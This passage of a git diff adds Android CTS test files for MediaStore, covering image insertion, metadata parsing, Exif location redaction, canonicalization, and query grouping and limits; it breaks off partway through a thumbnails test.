+ assertStringColumn(uri, MediaStore.Images.ImageColumns.DESCRIPTION, "Not a cat photo");
+
+ final ContentValues updateValues = new ContentValues();
+ updateValues.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_IMAGE);
+ updateValues.put(FileColumns.MIME_TYPE, "image/jpeg");
+ updateValues.put(MediaStore.Images.ImageColumns.IS_PRIVATE, 1);
+ int updateRows = mResolver.update(uri, updateValues, null, null);
+ assertEquals(1, updateRows);
+ // Only interested in update not throwing exception. No need in checking whenever values
+ // were actually updates, as it is not in the scope of this test.
+ }
+
+ private long queryLong(Uri uri, String columnName) {
+ try (Cursor c = mResolver.query(uri, new String[] { columnName }, null, null, null)) {
+ assertTrue(c.moveToFirst());
+ return c.getLong(0);
+ }
+ }
+
+ private String queryString(Uri uri, String columnName) {
+ try (Cursor c = mResolver.query(uri, new String[] { columnName }, null, null, null)) {
+ assertTrue(c.moveToFirst());
+ return c.getString(0);
+ }
+ }
+
+ private void assertStringColumn(Uri fileUri, String columnName, String expectedValue) {
+ assertEquals(expectedValue, queryString(fileUri, columnName));
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
new file mode 100644
index 0000000..da10f33
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -0,0 +1,592 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.AppOpsManager;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.media.ExifInterface;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.storage.StorageManager;
+import android.provider.BaseColumns;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Images.ImageColumns;
+import android.provider.MediaStore.Images.Media;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.HashSet;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Images_MediaTest {
+ private static final String MIME_TYPE_JPEG = "image/jpeg";
+
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ private Uri mExternalImages;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+ }
+
+ @Test
+ public void testInsertImageWithImagePath() throws Exception {
+ // TODO: expand test to verify paths from secondary storage devices
+ if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+
+ final long unique1 = System.nanoTime();
+ final String TEST_TITLE1 = "Title " + unique1;
+
+ final long unique2 = System.nanoTime();
+ final String TEST_TITLE2 = "Title " + unique2;
+
+ Cursor c = Media.query(mContentResolver, mExternalImages, null, null,
+ "_id ASC");
+ int previousCount = c.getCount();
+ c.close();
+
+ // insert an image by path
+ File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
+ "mediaStoreTest1.jpg");
+ String path = file.getAbsolutePath();
+ ProviderTestUtils.stageFile(R.raw.scenery, file);
+ String stringUrl = null;
+ try {
+ stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE1, null);
+ } catch (FileNotFoundException e) {
+ fail(e.getMessage());
+ } catch (UnsupportedOperationException e) {
+ // the tests will be aborted because the image will be put in sdcard
+ fail("There is no sdcard attached! " + e.getMessage());
+ }
+ assertInsertionSuccess(stringUrl);
+
+ // insert another image by path
+ file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
+ "mediaStoreTest2.jpg");
+ path = file.getAbsolutePath();
+ ProviderTestUtils.stageFile(R.raw.scenery, file);
+ stringUrl = null;
+ try {
+ stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE2, null);
+ } catch (FileNotFoundException e) {
+ fail(e.getMessage());
+ } catch (UnsupportedOperationException e) {
+ // the tests will be aborted because the image will be put in sdcard
+ fail("There is no sdcard attached! " + e.getMessage());
+ }
+ assertInsertionSuccess(stringUrl);
+
+ // query the newly added image
+ c = Media.query(mContentResolver, Uri.parse(stringUrl),
+ new String[] { Media.TITLE, Media.DESCRIPTION, Media.MIME_TYPE });
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(TEST_TITLE2, c.getString(c.getColumnIndex(Media.TITLE)));
+ assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+ c.close();
+
+ // query all the images in external db and order them by descending id
+ // (make the images added in test case in the first positions)
+ c = Media.query(mContentResolver, mExternalImages,
+ new String[] { Media.TITLE, Media.DESCRIPTION, Media.MIME_TYPE }, null,
+ "_id DESC");
+ assertEquals(previousCount + 2, c.getCount());
+ c.moveToFirst();
+ assertEquals(TEST_TITLE2, c.getString(c.getColumnIndex(Media.TITLE)));
+ assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+ c.moveToNext();
+ assertEquals(TEST_TITLE1, c.getString(c.getColumnIndex(Media.TITLE)));
+ assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+ c.close();
+
+ // query the second image added in the test
+ c = Media.query(mContentResolver, Uri.parse(stringUrl),
+ new String[] { Media.DESCRIPTION, Media.MIME_TYPE }, Media.TITLE + "=?",
+ new String[] { TEST_TITLE2 }, "_id ASC");
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+ c.close();
+ }
+
+ @Test
+ public void testInsertImageWithBitmap() throws Exception {
+ final long unique3 = System.nanoTime();
+ final String TEST_TITLE3 = "Title " + unique3;
+ final String TEST_DESCRIPTION3 = "Description " + unique3;
+
+ // insert the image by bitmap
+ Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
+ String stringUrl = null;
+ try{
+ stringUrl = Media.insertImage(mContentResolver, src, TEST_TITLE3, TEST_DESCRIPTION3);
+ } catch (UnsupportedOperationException e) {
+ // the tests will be aborted because the image will be put in sdcard
+ fail("There is no sdcard attached! " + e.getMessage());
+ }
+ assertInsertionSuccess(stringUrl);
+
+ Cursor c = Media.query(mContentResolver, Uri.parse(stringUrl), new String[] { Media.DATA },
+ null, "_id ASC");
+ c.moveToFirst();
+ // get the bimap by the path
+ Bitmap result = Media.getBitmap(mContentResolver,
+ Uri.fromFile(new File(c.getString(c.getColumnIndex(Media.DATA)))));
+
+ // can not check the identity between the result and source bitmap because
+ // source bitmap is compressed before it is saved as result bitmap
+ assertEquals(src.getWidth(), result.getWidth());
+ assertEquals(src.getHeight(), result.getHeight());
+ }
+
+ @Test
+ public void testGetContentUri() {
+ Cursor c = null;
+ assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
+ null));
+ c.close();
+ assertNotNull(c = mContentResolver.query(Media.getContentUri(mVolumeName), null, null, null,
+ null));
+ c.close();
+
+ assertEquals(ContentUris.withAppendedId(Media.getContentUri(mVolumeName), 42),
+ Media.getContentUri(mVolumeName, 42));
+ }
+
+ private void cleanExternalMediaFile(String path) {
+ mContentResolver.delete(mExternalImages, "_data=?", new String[] { path });
+ new File(path).delete();
+ }
+
+ @Test
+ public void testStoreImagesMediaExternal() throws Exception {
+ final File dir = ProviderTestUtils.stageDir(mVolumeName);
+ final File file = ProviderTestUtils.stageFile(R.raw.scenery,
+ new File(dir, "cts" + System.nanoTime() + ".jpg"));
+
+ final String externalPath = file.getAbsolutePath();
+ final long numBytes = file.length();
+
+ ProviderTestUtils.waitUntilExists(file);
+
+ ContentValues values = new ContentValues();
+ values.put(Media.ORIENTATION, 0);
+ values.put(Media.PICASA_ID, 0);
+ long dateTaken = System.currentTimeMillis();
+ values.put(Media.DATE_TAKEN, dateTaken);
+ values.put(Media.DESCRIPTION, "This is a image");
+ values.put(Media.IS_PRIVATE, 1);
+ values.put(Media.MINI_THUMB_MAGIC, 0);
+ values.put(Media.DATA, externalPath);
+ values.put(Media.DISPLAY_NAME, file.getName());
+ values.put(Media.MIME_TYPE, "image/jpeg");
+ values.put(Media.SIZE, numBytes);
+ values.put(Media.TITLE, "testimage");
+ long dateAdded = System.currentTimeMillis() / 1000;
+ values.put(Media.DATE_ADDED, dateAdded);
+ long dateModified = System.currentTimeMillis() / 1000;
+ values.put(Media.DATE_MODIFIED, dateModified);
+
+ // insert
+ Uri uri = mContentResolver.insert(mExternalImages, values);
+ assertNotNull(uri);
+
+ try {
+ // query
+ Cursor c = mContentResolver.query(uri, null, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ long id = c.getLong(c.getColumnIndex(Media._ID));
+ assertTrue(id > 0);
+ assertEquals(0, c.getInt(c.getColumnIndex(Media.ORIENTATION)));
+ assertEquals(0, c.getLong(c.getColumnIndex(Media.PICASA_ID)));
+ assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
+ assertEquals("This is a image",
+ c.getString(c.getColumnIndex(Media.DESCRIPTION)));
+ assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
+ assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
+ assertEquals(externalPath, c.getString(c.getColumnIndex(Media.DATA)));
+ assertEquals(file.getName(), c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
+ assertEquals("image/jpeg", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+ assertEquals("testimage", c.getString(c.getColumnIndex(Media.TITLE)));
+ assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
+ long realDateAdded = c.getLong(c.getColumnIndex(Media.DATE_ADDED));
+ assertTrue(realDateAdded >= dateAdded);
+ // there can be delay as time is read after creation
+ assertTrue(Math.abs(dateModified - c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)))
+ < 5);
+ c.close();
+ } finally {
+ // delete
+ assertEquals(1, mContentResolver.delete(uri, null, null));
+ file.delete();
+ }
+ }
+
+ private void assertInsertionSuccess(String stringUrl) throws IOException {
+ final Uri uri = Uri.parse(stringUrl);
+
+ // check whether the thumbnails are generated
+ try (Cursor c = mContentResolver.query(uri, null, null, null)) {
+ assertEquals(1, c.getCount());
+ }
+
+ assertNotNull(mContentResolver.loadThumbnail(uri, new Size(512, 384), null));
+ assertNotNull(mContentResolver.loadThumbnail(uri, new Size(96, 96), null));
+ }
+
+ /**
+ * This test doesn't hold
+ * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif
+ * location information should be redacted.
+ */
+ @Test
+ public void testLocationRedaction() throws Exception {
+ // STOPSHIP: remove this once isolated storage is always enabled
+ Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+
+ final String displayName = "cts" + System.nanoTime();
+ final PendingParams params = new PendingParams(
+ mExternalImages, displayName, "image/jpeg");
+
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ final Uri publishUri;
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.lg_g4_iso_800_jpg);
+ OutputStream out = session.openOutputStream()) {
+ android.os.FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ }
+
+ final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
+
+ // Since we own the image, we should be able to see the Exif data that
+ // we ourselves contributed
+ try (InputStream is = mContentResolver.openInputStream(publishUri)) {
+ final ExifInterface exif = new ExifInterface(is);
+ final float[] latLong = new float[2];
+ exif.getLatLong(latLong);
+ assertEquals(53.83451, latLong[0], 0.001);
+ assertEquals(10.69585, latLong[1], 0.001);
+
+ String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
+ assertTrue("Failed to read XMP longitude", xmp.contains("53,50.070500N"));
+ assertTrue("Failed to read XMP latitude", xmp.contains("10,41.751000E"));
+ assertTrue("Failed to read non-location XMP", xmp.contains("LensDefaults"));
+ }
+ // As owner, we should be able to request the original bytes
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+ }
+
+ // Remove ACCESS_MEDIA_LOCATION permission
+ try {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
+ "android.permission.REVOKE_RUNTIME_PERMISSIONS");
+
+ // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+ // Deny access_media_permission App op to revoke this permission.
+ PackageManager packageManager = mContext.getPackageManager();
+ String packageName = mContext.getPackageName();
+ if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
+ packageName) == PackageManager.PERMISSION_GRANTED) {
+ mContext.getPackageManager().updatePermissionFlags(
+ android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
+ PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
+ PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, mContext.getUser());
+ mContext.getSystemService(AppOpsManager.class).setUidMode(
+ "android:access_media_location", Process.myUid(),
+ AppOpsManager.MODE_IGNORED);
+ }
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().
+ dropShellPermissionIdentity();
+ }
+
+ // Now remove ownership, which means that Exif/XMP location data should be redacted
+ ProviderTestUtils.executeShellCommand("content update"
+ + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+ + " --uri " + publishUri + " --bind owner_package_name:n:",
+ InstrumentationRegistry.getInstrumentation().getUiAutomation());
+ try (InputStream is = mContentResolver.openInputStream(publishUri)) {
+ final ExifInterface exif = new ExifInterface(is);
+ final float[] latLong = new float[2];
+ exif.getLatLong(latLong);
+ assertEquals(0, latLong[0], 0.001);
+ assertEquals(0, latLong[1], 0.001);
+
+ String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
+ assertFalse("Failed to redact XMP longitude", xmp.contains("53,50.070500N"));
+ assertFalse("Failed to redact XMP latitude", xmp.contains("10,41.751000E"));
+ assertTrue("Redacted non-location XMP", xmp.contains("LensDefaults"));
+ }
+ // We can't request original bytes unless we have permission
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+ fail("Able to read original content without ACCESS_MEDIA_LOCATION");
+ } catch (UnsupportedOperationException expected) {
+ }
+ }
+
+ @Test
+ public void testLocationDeprecated() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+ final PendingParams params = new PendingParams(
+ mExternalImages, displayName, "image/jpeg");
+
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ final Uri publishUri;
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.volantis);
+ OutputStream out = session.openOutputStream()) {
+ android.os.FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ }
+
+ // Verify that location wasn't indexed
+ try (Cursor c = mContentResolver.query(publishUri,
+ new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
+ assertTrue(c.moveToFirst());
+ assertTrue(c.isNull(0));
+ assertTrue(c.isNull(1));
+ }
+
+ // Verify that location values aren't recorded
+ final ContentValues values = new ContentValues();
+ values.put(ImageColumns.LATITUDE, 32f);
+ values.put(ImageColumns.LONGITUDE, 64f);
+ mContentResolver.update(publishUri, values, null, null);
+
+ try (Cursor c = mContentResolver.query(publishUri,
+ new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
+ assertTrue(c.moveToFirst());
+ assertTrue(c.isNull(0));
+ assertTrue(c.isNull(1));
+ }
+ }
+
+ @Test
+ public void testCanonicalize() throws Exception {
+ // Remove all audio left over from other tests
+ ProviderTestUtils.executeShellCommand("content delete"
+ + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+ + " --uri " + mExternalImages,
+ InstrumentationRegistry.getInstrumentation().getUiAutomation());
+
+ // Publish some content
+ final File dir = ProviderTestUtils.stageDir(mVolumeName);
+ final Uri a = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.scenery, new File(dir, "a.jpg")));
+ final Uri b = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.lg_g4_iso_800_jpg, new File(dir, "b.jpg")));
+ final Uri c = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.scenery, new File(dir, "c.jpg")));
+
+ // Confirm we can canonicalize and recover it
+ final Uri canonicalized = mContentResolver.canonicalize(b);
+ assertNotNull(canonicalized);
+ assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
+
+ // Delete all items above
+ mContentResolver.delete(a, null, null);
+ mContentResolver.delete(b, null, null);
+ mContentResolver.delete(c, null, null);
+
+ // Confirm canonical item isn't found
+ assertNull(mContentResolver.uncanonicalize(canonicalized));
+
+ // Publish data again and confirm we can recover it
+ final Uri d = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.lg_g4_iso_800_jpg, new File(dir, "d.jpg")));
+ assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
+ }
+
+ @Test
+ public void testMetadata() throws Exception {
+ final Uri uri = ProviderTestUtils.stageMedia(R.raw.lg_g4_iso_800_jpg, mExternalImages,
+ "image/jpeg");
+
+ try (Cursor c = mContentResolver.query(uri, null, null, null)) {
+ assertTrue(c.moveToFirst());
+
+ // Confirm that we parsed Exif metadata
+ assertEquals(0, c.getLong(c.getColumnIndex(ImageColumns.ORIENTATION)));
+ assertEquals(600, c.getLong(c.getColumnIndex(ImageColumns.WIDTH)));
+ assertEquals(337, c.getLong(c.getColumnIndex(ImageColumns.HEIGHT)));
+
+ // Confirm that we parsed XMP metadata
+ assertEquals("xmp.did:041dfd42-0b46-4302-918a-836fba5016ed",
+ c.getString(c.getColumnIndex(ImageColumns.DOCUMENT_ID)));
+ assertEquals("xmp.iid:041dfd42-0b46-4302-918a-836fba5016ed",
+ c.getString(c.getColumnIndex(ImageColumns.INSTANCE_ID)));
+ assertEquals("3F9DD7A46B26513A7C35272F0D623A06",
+ c.getString(c.getColumnIndex(ImageColumns.ORIGINAL_DOCUMENT_ID)));
+
+ // Confirm that timestamp was parsed with offset information
+ assertEquals(1447346778000L + 25200000L,
+ c.getLong(c.getColumnIndex(ImageColumns.DATE_TAKEN)));
+
+ // We just added and modified the file, so should be recent
+ final long added = c.getLong(c.getColumnIndex(ImageColumns.DATE_ADDED));
+ final long modified = c.getLong(c.getColumnIndex(ImageColumns.DATE_MODIFIED));
+ final long now = System.currentTimeMillis() / 1000;
+ assertTrue("Invalid added time " + added, Math.abs(added - now) < 5);
+ assertTrue("Invalid modified time " + modified, Math.abs(modified - now) < 5);
+
+ // Confirm that we trusted value from XMP metadata
+ assertEquals("image/dng", c.getString(c.getColumnIndex(ImageColumns.MIME_TYPE)));
+
+ assertEquals(107704, c.getLong(c.getColumnIndex(ImageColumns.SIZE)));
+
+ final String displayName = c.getString(c.getColumnIndex(ImageColumns.DISPLAY_NAME));
+ assertTrue("Invalid display name " + displayName, displayName.startsWith("cts"));
+ assertTrue("Invalid display name " + displayName, displayName.endsWith(".jpg"));
+ }
+ }
+
+ @Test
+ public void testGroup() throws Exception {
+ // Confirm that we have at least two images staged
+ ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+ ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+
+ final Bundle queryArgs = new Bundle();
+ queryArgs.putStringArray(ContentResolver.QUERY_ARG_GROUP_COLUMNS,
+ new String[] { ImageColumns.BUCKET_ID });
+
+ final HashSet<Integer> seen = new HashSet<>();
+ int maxCount = 0;
+ try (Cursor c = mContentResolver.query(mExternalImages,
+ new String[] { ImageColumns.BUCKET_ID, "COUNT(_id)" }, queryArgs, null)) {
+ final HashSet<String> honored = new HashSet<>(Arrays
+ .asList(c.getExtras().getStringArray(ContentResolver.EXTRA_HONORED_ARGS)));
+ assertTrue(honored.contains(ContentResolver.QUERY_ARG_GROUP_COLUMNS));
+
+ while (c.moveToNext()) {
+ final int id = c.getInt(0);
+ final int count = c.getInt(1);
+
+ // We should never see the same BUCKET_ID twice
+ assertFalse(seen.contains(id));
+ seen.add(id);
+
+ maxCount = Math.max(maxCount, count);
+ }
+ }
+
+ // At least one bucket should have more than one item
+ assertTrue(maxCount > 1);
+ }
+
+ @Test
+ public void testLimit() throws Exception {
+ // Confirm that we have at least two images staged
+ final Uri red = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+ final Uri blue = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+
+ final long redId = ContentUris.parseId(red);
+ final long blueId = ContentUris.parseId(blue);
+
+ final Bundle queryArgs = new Bundle();
+ queryArgs.putString(ContentResolver.QUERY_ARG_SQL_SELECTION,
+ BaseColumns._ID + " IN (" + redId + "," + blueId + ")");
+ queryArgs.putString(ContentResolver.QUERY_ARG_SQL_SORT_ORDER,
+ BaseColumns._ID + " ASC");
+ queryArgs.putInt(ContentResolver.QUERY_ARG_LIMIT, 1);
+
+ try (Cursor c = mContentResolver.query(mExternalImages,
+ new String[] { BaseColumns._ID }, queryArgs, null)) {
+ final HashSet<String> honored = new HashSet<>(Arrays
+ .asList(c.getExtras().getStringArray(ContentResolver.EXTRA_HONORED_ARGS)));
+ assertTrue(honored.contains(ContentResolver.QUERY_ARG_LIMIT));
+
+ // We should only have single lowest image
+ assertEquals(1, c.getCount());
+ assertTrue(c.moveToFirst());
+ assertEquals(Math.min(redId, blueId), c.getLong(0));
+ }
+
+ queryArgs.putInt(ContentResolver.QUERY_ARG_OFFSET, 1);
+
+ try (Cursor c = mContentResolver.query(mExternalImages,
+ new String[] { BaseColumns._ID }, queryArgs, null)) {
+ final HashSet<String> honored = new HashSet<>(Arrays
+ .asList(c.getExtras().getStringArray(ContentResolver.EXTRA_HONORED_ARGS)));
+ assertTrue(honored.contains(ContentResolver.QUERY_ARG_LIMIT));
+ assertTrue(honored.contains(ContentResolver.QUERY_ARG_OFFSET));
+
+ // We should only have single highest image
+ assertEquals(1, c.getCount());
+ assertTrue(c.moveToFirst());
+ assertEquals(Math.max(redId, blueId), c.getLong(0));
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
new file mode 100644
index 0000000..874d82c
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
@@ -0,0 +1,512 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.ProviderTestUtils.assertExists;
+import static android.provider.cts.ProviderTestUtils.assertNotExists;
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ImageDecoder;
+import android.net.Uri;
+import android.os.Environment;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Images.Media;
+import android.provider.MediaStore.Images.Thumbnails;
+import android.provider.MediaStore.MediaColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+
+import junit.framework.AssertionFailedError;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.OutputStream;
+import java.util.ArrayList;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Images_ThumbnailsTest {
+ private ArrayList<Uri> mRowsAdded;
+
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ private Uri mExternalImages;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ private int mLargestDimension;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ private Uri mRed;
+ private Uri mBlue;
+
+ @After
+ public void tearDown() throws Exception {
+ for (Uri row : mRowsAdded) {
+ try {
+ mContentResolver.delete(row, null, null);
+ } catch (UnsupportedOperationException e) {
+ // There is no way to delete rows from table "thumbnails" of internals database.
+ // ignores the exception and make the loop goes on
+ }
+ }
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ mRowsAdded = new ArrayList<Uri>();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+
+ final Resources res = mContext.getResources();
+ final Configuration config = res.getConfiguration();
+ mLargestDimension = (int) (Math.max(config.screenWidthDp, config.screenHeightDp)
+ * res.getDisplayMetrics().density);
+ }
+
+ private void prepareImages() throws Exception {
+ mRed = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+ mBlue = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+ mRowsAdded.add(mRed);
+ mRowsAdded.add(mBlue);
+ ProviderTestUtils.waitForIdle();
+ }
+
+ public static void assertMostlyEquals(long expected, long actual, long delta) {
+ if (Math.abs(expected - actual) > delta) {
+ throw new AssertionFailedError("Expected roughly " + expected + " but was " + actual);
+ }
+ }
+
+ @Test
+ public void testQueryExternalThumbnails() throws Exception {
+ if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+ prepareImages();
+
+ Cursor c = Thumbnails.queryMiniThumbnails(mContentResolver,
+ Thumbnails.EXTERNAL_CONTENT_URI, Thumbnails.MICRO_KIND, null);
+ int previousMicroKindCount = c.getCount();
+ c.close();
+
+ // add a thumbnail
+ final File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
+ "testThumbnails.jpg");
+ final String path = file.getAbsolutePath();
+ ProviderTestUtils.stageFile(R.raw.scenery, file);
+ ContentValues values = new ContentValues();
+ values.put(Thumbnails.KIND, Thumbnails.MINI_KIND);
+ values.put(Thumbnails.DATA, path);
+ values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mRed));
+ Uri uri = mContentResolver.insert(Thumbnails.EXTERNAL_CONTENT_URI, values);
+ if (uri != null) {
+ mRowsAdded.add(uri);
+ }
+
+ // query with the uri of the thumbnail and the kind
+ c = Thumbnails.queryMiniThumbnails(mContentResolver, uri, Thumbnails.MINI_KIND, null);
+ c.moveToFirst();
+ assertEquals(1, c.getCount());
+ assertEquals(Thumbnails.MINI_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
+ assertEquals(path, c.getString(c.getColumnIndex(Thumbnails.DATA)));
+
+ // query all thumbnails with other kind
+ c = Thumbnails.queryMiniThumbnails(mContentResolver, Thumbnails.EXTERNAL_CONTENT_URI,
